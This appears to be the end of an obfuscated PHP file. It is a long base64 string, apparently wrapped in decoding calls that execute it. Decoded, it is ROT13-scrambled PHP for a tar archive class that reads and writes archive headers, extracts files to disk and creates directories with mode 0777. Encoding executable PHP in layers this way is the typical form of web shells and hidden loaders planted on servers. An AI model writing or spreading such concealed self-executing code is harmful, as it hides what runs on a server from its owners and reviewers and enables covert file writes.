CgkJCQkJdnMoISRndXZmLT5qZXZnclVybnFyZSgkc3Z5cmFuenIsICR4cnJjX3N2eXJhbnpyKSkNCgkJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJanV2eXIgKCgkb2hzc3JlID0gc2VybnEoJHN2eXIsIDUxMikpICE9ICcnKXsNCgkJCQkJJG92YW5lbFFuZ24gPSBjbnB4KCduNTEyJywgJG9oc3NyZSk7DQoJCQkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJCQl9DQoJCQlzcHliZnIoJHN2eXIpOw0KCQl9CXJ5ZnIgJGd1dmYtPmpldmdyVXJucXJlKCRzdnlyYW56ciwgJHhycmNfc3Z5cmFuenIpOw0KCQkJdnMgKEB2Zl9xdmUoJHN2eXJhbnpyKSl7DQoJCQkJdnMgKCEoJHVuYXF5ciA9IGJjcmFxdmUoJHN2eXJhbnpyKSkpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUmVlYmUnKS4nOiAnLl9fKCdRdmVycGdiZWwgJykuJHN2eXJhbnpyLl9fKCd2ZiBhYmcgZXJucW5veXInKTsNCgkJCQkJcGJhZ3ZhaHI7DQoJCQkJfQ0KCQkJCWp1dnlyIChzbnlmciAhPT0gKCRxdmUgPSBlcm5xcXZlKCR1bmFxeXIpKSl7DQoJCQkJCXZzICgkcXZlIT0nLicgJiYgJHF2ZSE9Jy4uJyl7DQoJCQkJCQkkc3Z5cl9uZWVubF9nemMgPSBuZWVubCgpOw0KCQkJCQkJdnMgKCRzdnlyYW56ciAhPSAnLicpDQoJCQkJCQkJJHN2eXJfbmVlbmxfZ3pjW10gPSAkc3Z5cmFuenIuJy8nLiRxdmU7DQoJCQkJCQlyeWZyDQoJCQkJCQkJJHN2eXJfbmVlbmxfZ3pjW10gPSAkcXZlOw0KDQoJCQkJCQkkZXJmaHlnID0gJGd1dmYtPmNucHhTdnlyTmVlbmwoJHN2eXJfbmVlbmxfZ3pjKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQloYWZyZygkc3Z5cl9uZWVubF9nemMpOw0KCQkJCWhhZnJnKCRxdmUpOw0KCQkJCWhhZnJnKCR1bmFxeXIpOw0KCQkJfQ0KCQl9DQoJCWVyZ2hlYSAkZXJmaHlnOw0KCX0NCg0KCXNoYXBndmJhIGhhY25weFN2eXJOZWVubCgkY25ndSl7IA0KCQkkY25ndSA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJGNuZ3UpOw0KCQl2cyAoJGNuZ3UgPT0gJycJfHwgKGZob2ZnZSgkY25ndSwgMCwgMSkgIT0gJy8nICYmIGZob2ZnZSgkY25ndSwgMCwgMykgIT0gJy4uLycgJiYgIWZnZWNiZigkY25ndSwgJzonKSkpCSRjbmd1ID0gJy4vJy4kY25ndTsNCgkJcHlybmVmZ25ncG5wdXIoKTsNCgkJanV2eXIgKGZnZXlyYSgkb3ZhbmVsUW5nbiA9ICRndXZmLT5lcm5xT3licHgoKSkgIT0gMCl7DQoJCQl2cyAoISRndXZmLT5lcm5xVXJucXJlKCRvdmFuZWxRbmduLCAkdXJucXJlKSkgZXJnaGVhIHNueWZyOw0KCQkJdnMgKCR1cm5xcmVbJ3N2eXJhbnpyJ10gPT0gJycpIHBiYWd2YWhyOw0KCQkJdnMgKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJ1knKXsJCQkvL2VybnF2YXQgeWJhdCB1cm5xcmUNCgkJCQkkc3Z5cmFuenIgPSAnJzsNCgkJCQkkcXJwZSA9IHN5YmJlKCR1cm5xcmVbJ2Z2bXInXS81MTIpOw0KCQkJCXNiZSAoJHYgPSAwOyAkdiA8ICRxcnBlOyAkdisrKXsNCgkJCQkJJHBiYWdyYWcgPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJCSRzdnlyYW56ciAuPSAkcGJhZ3JhZzsNCgkJCQl9DQoJCQkJdnMgKCgkeW5mY3ZycHIgPSAkdXJucXJlWydmdm1yJ10gJSA1MTIpICE9IDApew0KCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJJHN2eXJhbnpyIC49IGZob2ZnZSgkcGJhZ3JhZywgMCwgJHluZmN2cnByKTsNCgkJCQl9DQoJCQkJJG92YW5lbFFuZ24gPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJdnMgKCEkZ3V2Zi0+ZXJucVVybnFyZSgkb3ZhbmVsUW5nbiwgJHVybnFyZSkpIGVyZ2hlYSBzbnlmcjsNCgkJCQlyeWZyICR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAkc3Z5cmFuenI7DQoJCQkJZXJnaGVhIGdlaHI7DQoJCQl9DQoJCQl2cyAoKCRjbmd1ICE9ICcuLycpICYmICgkY25ndSAhPSAnLycpKXsNCgkJCQlqdXZ5ciAoZmhvZmdlKCRjbmd1LCAtMSkgPT0gJy8nKSAkY25ndSA9IGZob2ZnZSgkY25ndSwgMCwgZmdleXJhKCRjbmd1KS0xKTsNCgkJCQl2cyAoZmhvZmdlKCR1cm5xcmVbJ3N2eXJhbnpyJ10sIDAsIDEpID09ICcvJykgJHVybnFyZVsnc3Z5cmFuenInXSA9ICRjbmd1LiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQkJcnlmciAkdXJucXJlWydzdnlyYW56ciddID0gJGNuZ3UuJy8nLiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQl9DQoJCQkNCgkJCXZzIChzdnlyX3JrdmZnZigkdXJucXJlWydzdnlyYW56ciddKSl7DQoJCQkJdnMgKChAdmZfcXZlKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSAmJiAoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnJykpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPV9fKCdTdnlyICcpLiR1cm5xcmVbJ3N2eXJhbnpyJ10uX18oJyBueWVybnFsIHJrdmZnZicpLl9fKCcgbmYgc2J5cXJlJyk7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJdnMgKCh2Zl9zdnlyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSAmJiAoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnNScpKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID1fXygnUG5hYWJnIHBlcm5nciBxdmVycGdiZWwnKS4nLiAnLl9fKCdTdnlyICcpLiR1cm5xcmVbJ3N2eXJhbnpyJ10uX18oJyBueWVybnFsIHJrdmZnZicpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCXZzICghdmZfamV2Z3Jub3lyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBqZXZnciBnYiBzdnlyJykuJy4gJy5fXygnU3Z5ciAnKS4kdXJucXJlWydzdnlyYW56ciddLl9fKCcgbnllcm5xbCBya3ZmZ2YnKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCX0gcnlmcnZzICgoJGd1dmYtPnF2ZVB1cnB4KCgkdXJucXJlWydnbGNyc3ludCddID09ICc1JyA/ICR1cm5xcmVbJ3N2eXJhbnpyJ10gOiBxdmVhbnpyKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKSkpICE9IDEpew0KCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgcGVybmdyIHF2ZXJwZ2JlbCcpLicgJy5fXygnIHNiZSAnKS4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCX0NCg0KCQkJdnMgKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJzUnKXsNCgkJCQl2cyAoIXN2eXJfcmt2ZmdmKCR1cm5xcmVbJ3N2eXJhbnpyJ10pKQkJew0KCQkJCQl2cyAoIXp4cXZlKCR1cm5xcmVbJ3N2eXJhbnpyJ10sIDA3NzcpKQl7DQoJCQkJCQkNCgkJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgcGVybmdyIHF2ZXJwZ2JlbCcpLicgJy4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCQl9IA0KCQkJCX0NCgkJCX0gcnlmciB7DQoJCQkJdnMgKCgkcXJmZ3Zhbmd2YmEgPSBzYmNyYSgkdXJucXJlWydzdnlyYW56ciddLCAnam8nKSkgPT0gMCkgew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIGpldmdyIGdiIHN2eXInKS4nICcuJHVybnFyZVsnc3Z5cmFuenInXTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0gcnlmciB7DQoJCQkJCSRxcnBlID0gc3liYmUoJHVybnFyZVsnZnZtciddLzUxMik7DQoJCQkJCXNiZSAoJHYgPSAwOyAkdiA8ICRxcnBlOyAkdisrKSB7DQoJCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJCXNqZXZncigkcXJmZ3Zhbmd2YmEsICRwYmFncmFnLCA1MTIpOw0KCQkJCQl9DQoJCQkJCXZzICgoJHVybnFyZVsnZnZtciddICUgNTEyKSAhPSAwKSB7DQoJCQkJCQkkcGJhZ3JhZyA9ICRndXZmLT5lcm5xT3licHgoKTsNCgkJCQkJCXNqZXZncigkcXJmZ3Zhbmd2YmEsICRwYmFncmFnLCAoJHVybnFyZVsnZnZtciddICUgNTEyKSk7DQoJCQkJCX0NCgkJCQkJc3B5YmZyKCRxcmZndmFuZ3ZiYSk7DQoJCQkJCWdiaHB1KCR1cm5xcmVbJ3N2eXJhbnpyJ10sICR1cm5xcmVbJ2d2enInXSk7DQoJCQkJfQ0KCQkJCXB5cm5lZmduZ3BucHVyKCk7DQoJCQkJdnMgKHN2eXJmdm1yKCR1cm5xcmVbJ3N2eXJhbnpyJ10pICE9ICR1cm5xcmVbJ2Z2bXInXSkgew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnRnZtciBicyBzdnlyJykuJyAnLiR1cm5xcmVbJ3N2eXJhbnpyJ10uJyAnLl9fKCd2ZiB2YXBiZWVycGcnKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCX0NCgkJCXZzICgoJHN2eXJfcXZlID0gcXZlYW56cigkdXJucXJlWydzdnlyYW56ciddKSkgPT0gJHVybnFyZVsnc3Z5cmFuenInXSkgJHN2eXJfcXZlID0gJyc7DQoJCQl2cyAoKGZob2ZnZSgkdXJucXJlWydzdnlyYW56ciddLCAwLCAxKSA9PSAnLycpICYmICgkc3Z5cl9xdmUgPT0gJycpKSAkc3Z5cl9xdmUgPSAnLyc7DQoJCQkkZ3V2Zi0+cXZlZltdID0gJHN2eXJfcXZlOw0KCQkJJGd1dmYtPnN2eXJmW10gPSAkdXJucXJlWydzdnlyYW56ciddOw0KCQ0KCQl9DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIHF2ZVB1cnB4KCRxdmUpew0KCQkkY25lcmFnX3F2ZSA9IHF2ZWFuenIoJHF2ZSk7DQoNCgkJdnMgKChAdmZfcXZlKCRxdmUpKSBiZSAoJHF2ZSA9PSAnJykpDQoJCQllcmdoZWEgZ2VocjsNCg0KCQl2cyAoKCRjbmVyYWdfcXZlICE9ICRxdmUpIG5hcSAoJGNuZXJhZ19xdmUgIT0gJycpIG5hcSAoISRndXZmLT5xdmVQdXJweCgkY25lcmFnX3F2ZSkpKQ0KCQkJZXJnaGVhIHNueWZyOw0KDQoJCXZzICghenhxdmUoJHF2ZSwgMDc3Nykpew0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBwZXJuZ3IgcXZlcnBnYmVsJykuJyAnLiRxdmU7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgZXJucVVybnFyZSgkb3ZhbmVsUW5nbiwgJiR1cm5xcmUpew0KCQl2cyAoZmdleXJhKCRvdmFuZWxRbmduKT09MCl7DQoJCQkkdXJucXJlWydzdnlyYW56ciddID0gJyc7DQoJCQllcmdoZWEgZ2VocjsNCgkJfQ0KDQoJCXZzIChmZ2V5cmEoJG92YW5lbFFuZ24pICE9IDUxMil7DQoJCQkkdXJucXJlWydzdnlyYW56ciddID0gJyc7DQoJCQkkZ3V2Zi0+X18oJ1ZhaW55dnEgb3licHggZnZtcicpLic6ICcuZmdleXJhKCRvdmFuZWxRbmduKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KDQoJCSRwdXJweGZoeiA9IDA7DQoJCXNiZSAoJHYgPSAwOyAkdiA8IDE0ODsgJHYrKykgJHB1cnB4Zmh6Kz1iZXEoZmhvZmdlKCRvdmFuZWxRbmduLCAkdiwgMSkpOw0KCQlzYmUgKCR2ID0gMTQ4OyAkdiA8IDE1NjsgJHYrKykgJHB1cnB4Zmh6ICs9IGJlcSgnICcpOw0KCQlzYmUgKCR2ID0gMTU2OyAkdiA8IDUxMjsgJHYrKykgJHB1cnB4Zmh6Kz1iZXEoZmhvZmdlKCRvdmFuZWxRbmduLCAkdiwgMSkpOw0KDQoJCSRoYWNucHhfcW5nbiA9IGhhY25weCgnbjEwMHN2eXJhbnpyL244emJxci9uOGhmcmVfdnEvbjh0ZWJoY192cS9uMTJmdm1yL24xMmd2enIvbjhwdXJweGZoei9uMWdsY3JzeW50L24xMDB5dmF4L242em50dnAvbjJpcmVmdmJhL24zMmhhbnpyL24zMnRhbnpyL244cXJpem53YmUvbjhxcml6dmFiZScsICRvdmFuZWxRbmduKTsNCg0KCQkkdXJucXJlWydwdXJweGZoeiddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydwdXJweGZoeiddKSk7DQoJCXZzICgkdXJucXJlWydwdXJweGZoeiddICE9ICRwdXJweGZoeil7DQoJCQkkdXJucXJlWydzdnlyYW56ciddID0gJyc7DQoJCQl2cyAoKCRwdXJweGZoeiA9PSAyNTYpICYmICgkdXJucXJlWydwdXJweGZoeiddID09IDApKSAJZXJnaGVhIGdlaHI7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUmVlYmUgcHVycHhmaHogc2JlIHN2eXIgJykuJGhhY25weF9xbmduWydzdnlyYW56ciddOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoNCgkJdnMgKCgkdXJucXJlWydnbGNyc3ludCddID0gJGhhY25weF9xbmduWydnbGNyc3ludCddKSA9PSAnNScpCSR1cm5xcmVbJ2Z2bXInXSA9IDA7DQoJCSR1cm5xcmVbJ3N2eXJhbnpyJ10gPSBnZXZ6KCRoYWNucHhfcW5nblsnc3Z5cmFuenInXSk7DQoJCSR1cm5xcmVbJ3picXInXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsnemJxciddKSk7DQoJCSR1cm5xcmVbJ2hmcmVfdnEnXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsnaGZyZV92cSddKSk7DQoJCSR1cm5xcmVbJ3RlYmhjX3ZxJ10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ3RlYmhjX3ZxJ10pKTsNCgkJJHVybnFyZVsnZnZtciddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydmdm1yJ10pKTsNCgkJJHVybnFyZVsnZ3Z6ciddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWydndnpyJ10pKTsNCgkJZXJnaGVhIGdlaHI7DQoJfQ0KDQoJc2hhcGd2YmEgamV2Z3JVcm5xcmUoJHN2eXJhbnpyLCAkeHJyY19zdnlyYW56cil7DQoJCSRjbnB4UyA9ICduMTAwbjhuOG44bjEyTjEyJzsNCgkJJGNucHhZID0gJ24xbjEwMG42bjJuMzJuMzJuOG44bjE1NW4xMic7DQoJCXZzIChmZ2V5cmEoJHhycmNfc3Z5cmFuenIpPD0wKSAkeHJyY19zdnlyYW56ciA9ICRzdnlyYW56cjsNCgkJJHN2eXJhbnpyX2VybnFsID0gJGd1dmYtPnpueHJUYmJxQ25ndSgkeHJyY19zdnlyYW56cik7DQoNCgkJdnMgKGZnZXlyYSgkc3Z5cmFuenJfZXJucWwpID4gOTkpewkJCQkJCQkvL2pldmdyIHliYXQgdXJucXJlDQoJCSRxbmduU3ZlZmcgPSBjbnB4KCRjbnB4UywgJy4vLi9ZYmF0WXZheCcsIDAsIDAsIDAsIGZjZXZhZ3MoJyUxMWYgJywgUXJwQnBnKGZnZXlyYSgkc3Z5cmFuenJfZXJucWwpKSksIDApOw0KCQkkcW5nblluZmcgPSBjbnB4KCRjbnB4WSwgJ1knLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnKTsNCg0KICAgICAgICAvLyAgUG55cGh5bmdyIGd1ciBwdXJweGZoeg0KCQkkcHVycHhmaHogPSAwOw0KICAgICAgICAvLyAgU3ZlZmcgY25lZyBicyBndXIgdXJucXJlDQoJCXNiZSAoJHYgPSAwOyAkdiA8IDE0ODsgJHYrKykNCgkJCSRwdXJweGZoeiArPSBiZXEoZmhvZmdlKCRxbmduU3ZlZmcsICR2LCAxKSk7DQogICAgICAgIC8vICBWdGFiZXIgZ3VyIHB1cnB4Zmh6IGlueWhyIG5hcSBlcmN5bnByIHZnIG9sICcgJyAoZmNucHIpDQoJCXNiZSAoJHYgPSAxNDg7ICR2IDwgMTU2OyAkdisrKQ0KCQkJJHB1cnB4Zmh6ICs9IGJlcSgnICcpOw0KICAgICAgICAvLyAgWW5mZyBjbmVnIGJzIGd1ciB1cm5xcmUNCgkJc2JlICgkdiA9IDE1NiwgJHc9MDsgJHYgPCA1MTI7ICR2KyssICR3KyspDQoJCQkkcHVycHhmaHogKz0gYmVxKGZob2ZnZSgkcW5nblluZmcsICR3LCAxKSk7DQogICAgICAgIC8vICBKZXZnciBndXIgc3ZlZmcgMTQ4IG9sZ3JmIGJzIGd1ciB1cm5xcmUgdmEgZ3VyIG5lcHV2aXINCgkJJGd1dmYtPmpldmdyT3licHgoJHFuZ25TdmVmZywgMTQ4KTsNCiAgICAgICAgLy8gIEpldmdyIGd1ciBwbnlwaHluZ3JxIHB1cnB4Zmh6DQoJCSRwdXJweGZoeiA9IGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoJHB1cnB4Zmh6KSk7DQoJCSRvdmFuZWxRbmduID0gY25weCgnbjgnLCAkcHVycHhmaHopOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbiwgOCk7DQogICAgICAgIC8vICBKZXZnciBndXIgeW5mZyAzNTYgb2xncmYgYnMgZ3VyIHVybnFyZSB2YSBndXIgbmVwdXZpcg0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblluZmcsIDM1Nik7DQoNCgkJJGd6Y19zdnlyYW56ciA9ICRndXZmLT56bnhyVGJicUNuZ3UoJHN2eXJhbnpyX2VybnFsKTsNCg0KCQkkdiA9IDA7DQoJCQlqdXZ5ciAoKCRvaHNzcmUgPSBmaG9mZ2UoJGd6Y19zdnlyYW56ciwgKCgkdisrKSo1MTIpLCA1MTIpKSAhPSAnJyl7DQoJCQkJJG92YW5lbFFuZ24gPSBjbnB4KCduNTEyJywgJG9oc3NyZSk7DQoJCQkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24pOw0KCQkJfQ0KCQllcmdoZWEgZ2VocjsNCgkJfQ0KCQkkc3Z5cl92YXNiID0gZmduZygkc3Z5cmFuenIpOw0KCQl2cyAoQHZmX3F2ZSgkc3Z5cmFuenIpKXsNCgkJCSRnbGNyc3ludCA9ICc1JzsNCgkJCSRmdm1yID0gZmNldmFncygnJTExZiAnLCBRcnBCcGcoMCkpOw0KCQl9IHJ5ZnIgew0KCQkJJGdsY3JzeW50ID0gJyc7DQoJCQlweXJuZWZnbmdwbnB1cigpOw0KCQkJJGZ2bXIgPSBmY2V2YWdzKCclMTFmICcsIFFycEJwZyhzdnlyZnZtcigkc3Z5cmFuenIpKSk7DQoJCX0NCgkJJHFuZ25TdmVmZyA9IGNucHgoJGNucHhTLCAkc3Z5cmFuenJfZXJucWwsIGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoc3Z5cmNyZXpmKCRzdnlyYW56cikpKSwgZmNldmFncygnJTZmICcsIFFycEJwZygkc3Z5cl92YXNiWzRdKSksIGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoJHN2eXJfdmFzYls1XSkpLCAkZnZtciwgZmNldmFncygnJTExZicsIFFycEJwZyhzdnlyemd2enIoJHN2eXJhbnpyKSkpKTsNCgkJJHFuZ25ZbmZnID0gY25weCgkY25weFksICRnbGNyc3ludCwgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoJCSRwdXJweGZoeiA9IDA7DQoJCXNiZSAoJHYgPSAwOyAkdiA8IDE0ODsgJHYrKykgJHB1cnB4Zmh6ICs9IGJlcShmaG9mZ2UoJHFuZ25TdmVmZywgJHYsIDEpKTsNCgkJc2JlICgkdiA9IDE0ODsgJHYgPCAxNTY7ICR2KyspICRwdXJweGZoeiArPSBiZXEoJyAnKTsNCgkJc2JlICgkdiA9IDE1NiwgJHcgPSAwOyAkdiA8IDUxMjsgJHYrKywgJHcrKykgJHB1cnB4Zmh6ICs9IGJlcShmaG9mZ2UoJHFuZ25ZbmZnLCAkdywgMSkpOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblN2ZWZnLCAxNDgpOw0KCQkkcHVycHhmaHogPSBmY2V2YWdzKCclNmYgJywgUXJwQnBnKCRwdXJweGZoeikpOw0KCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ244JywgJHB1cnB4Zmh6KTsNCgkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24sIDgpOw0KCQkkZ3V2Zi0+amV2Z3JPeWJweCgkcW5nblluZmcsIDM1Nik7DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIGJjcmFKZXZncigpew0KCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCSRndXZmLT5nemNfc3Z5ciA9IHRtYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAnam85cycpOw0KCQlyeWZyDQoJCQkkZ3V2Zi0+Z3pjX3N2eXIgPSBzYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAnam8nKTsNCg0KCQl2cyAoISgkZ3V2Zi0+Z3pjX3N2eXIpKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgamV2Z3IgZ2Igc3Z5cicpLicgJy4kZ3V2Zi0+bmVwdXZpcl9hbnpyOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIGVybnFPeWJweCgpew0KCQl2cyAodmZfZXJmYmhlcHIoJGd1dmYtPmd6Y19zdnlyKSl7DQoJCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCQkkb3licHggPSB0bWVybnEoJGd1dmYtPmd6Y19zdnlyLCA1MTIpOw0KCQkJcnlmcg0KCQkJCSRveWJweCA9IHNlcm5xKCRndXZmLT5nemNfc3Z5ciwgNTEyKTsNCgkJfSByeWZyCSRveWJweCA9ICcnOw0KDQoJCWVyZ2hlYSAkb3licHg7DQoJfQ0KDQoJc2hhcGd2YmEgamV2Z3JPeWJweCgkcW5nbiwgJHlyYXRndSA9IDApew0KCQl2cyAodmZfZXJmYmhlcHIoJGd1dmYtPmd6Y19zdnlyKSl7DQoJCQ0KCQkJdnMgKCR5cmF0Z3UgPT09IDApew0KCQkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJCQl0bWNoZ2YoJGd1dmYtPmd6Y19zdnlyLCAkcW5nbik7DQoJCQkJcnlmcg0KCQkJCQlzY2hnZigkZ3V2Zi0+Z3pjX3N2eXIsICRxbmduKTsNCgkJCX0gcnlmciB7DQoJCQkJdnMgKCRndXZmLT52ZlRtdmNjcnEpDQoJCQkJCXRtY2hnZigkZ3V2Zi0+Z3pjX3N2eXIsICRxbmduLCAkeXJhdGd1KTsNCgkJCQlyeWZyDQoJCQkJCXNjaGdmKCRndXZmLT5nemNfc3Z5ciwgJHFuZ24sICR5cmF0Z3UpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJc2hhcGd2YmEgcHliZnJHemNTdnlyKCl7DQoJCXZzICh2Zl9lcmZiaGVwcigkZ3V2Zi0+Z3pjX3N2eXIpKXsNCgkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJCXRtcHliZnIoJGd1dmYtPmd6Y19zdnlyKTsNCgkJCXJ5ZnINCgkJCQlzcHliZnIoJGd1dmYtPmd6Y19zdnlyKTsNCg0KCQkJJGd1dmYtPmd6Y19zdnlyID0gMDsNCgkJfQ0KCX0NCg0KCXNoYXBndmJhIHpueHJUYmJxQ25ndSgkY25ndSl7DQoJCXZzIChmZ2V5cmEoJGNuZ3UpPjApew0KCQkJJGNuZ3UgPSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRjbmd1KTsNCgkJCSRjbmVnQ25ndSA9IHJrY3licXIoJy8nLCAkY25ndSk7DQoJCQkkcnlmID0gcGJoYWcoJGNuZWdDbmd1KS0xOw0KCQkJc2JlICgkdiA9ICRyeWY7ICR2Pj0wOyAkdi0tKXsNCgkJCQl2cyAoJGNuZWdDbmd1WyR2XSA9PSAnLicpew0KICAgICAgICAgICAgICAgICAgICAvLyAgVnRhYmVyIGd1dmYgcXZlcnBnYmVsDQogICAgICAgICAgICAgICAgfSByeWZydnMgKCRjbmVnQ25ndVskdl0gPT0gJy4uJyl7DQogICAgICAgICAgICAgICAgICAgICR2LS07DQogICAgICAgICAgICAgICAgfQ0KCQkJCXJ5ZnJ2cyAoKCRjbmVnQ25ndVskdl0gPT0gJycpIG5hcSAoJHYhPSRyeWYpIG5hcSAoJHYhPTApKXsNCiAgICAgICAgICAgICAgICB9CXJ5ZnINCgkJCQkJJGVyZmh5ZyA9ICRjbmVnQ25ndVskdl0uKCR2IT0kcnlmID8gJy8nLiRlcmZoeWcgOiAnJyk7DQoJCQl9DQoJCX0gcnlmciAkZXJmaHlnID0gJyc7DQoJCQ0KCQllcmdoZWEgJGVyZmh5ZzsNCgl9DQp9DQo/Pg==",1),2),3);?>